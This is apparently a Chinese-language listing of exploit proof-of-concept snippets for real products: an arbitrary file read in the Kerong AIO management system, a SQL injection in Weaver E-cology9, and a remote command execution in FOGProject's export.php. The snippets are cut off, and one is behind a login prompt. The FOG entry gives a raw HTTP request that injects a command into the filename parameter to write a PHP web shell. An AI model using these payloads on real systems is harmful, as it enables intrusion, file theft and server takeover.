秃兔
科荣 AIO 管理系统任意文件读取
import base64import requests def poc(ip, file_path): # 构造URL地址url = f’http://{ip}/UtilServlet’headers = { 登录可见余下内容
泛微E-cology9 browserjsp SQL注入漏洞
import argparseimport requestsfrom termcolor import coloredimport signal requests.packages.urllib3.disable_warnings()output_file = None def check_url(url, output=None):headers = {...
fogproject系统接口export.php存在远程命令执行漏洞
POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET[‘”‘cmd'”‘]);+?>’+>+lol.php)&type=pdf HTTP/1.1Host: 192.168.15.5Content-Length: 21Use...
